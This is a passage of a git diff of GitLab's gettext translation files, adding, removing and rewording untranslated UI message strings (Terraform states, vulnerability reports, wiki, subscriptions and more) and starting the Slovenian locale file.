msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25100,6 +25644,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25211,9 +25758,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25259,7 +25803,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25340,10 +25884,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25625,10 +26172,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25652,6 +26199,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25769,9 +26319,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26108,6 +26670,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26156,6 +26721,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26330,6 +26898,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26540,6 +27108,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26651,6 +27255,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26748,9 +27355,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,10 +27364,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26832,9 +27436,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27091,7 +27707,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27103,9 +27719,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27121,6 +27734,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27208,6 +27824,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28236,6 +28855,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,7 +29506,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28950,10 +29578,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29148,9 +29776,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29169,6 +29794,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29205,6 +29833,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29442,6 +30076,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29499,6 +30139,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29544,6 +30187,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29574,6 +30220,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29610,6 +30259,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29652,15 +30304,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29730,7 +30382,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29870,6 +30525,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29963,9 +30621,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30119,10 +30780,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30290,6 +30954,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,7 +31126,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30606,6 +31288,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30687,9 +31372,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30699,6 +31381,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30903,6 +31591,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30945,6 +31636,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31209,6 +31900,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31386,6 +32086,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31624,13 +32339,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31799,6 +32511,12 @@ msgstr[3] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31817,9 +32535,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31878,9 +32590,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31973,6 +32682,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32001,6 +32713,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32022,7 +32737,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32582,6 +33300,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32594,6 +33315,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32679,6 +33403,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32746,9 +33476,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32797,9 +33533,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32830,10 +33563,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32842,6 +33575,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32851,6 +33587,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32923,6 +33662,13 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/sl_SI/gitlab.po b/locale/sl_SI/gitlab.po
index 695c70b44b0..175328ad42a 100644
--- a/locale/sl_SI/gitlab.po
+++ b/locale/sl_SI/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:50\n"
+"PO-Revision-Date: 2020-12-03 08:19\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -203,15 +210,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -461,22 +468,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
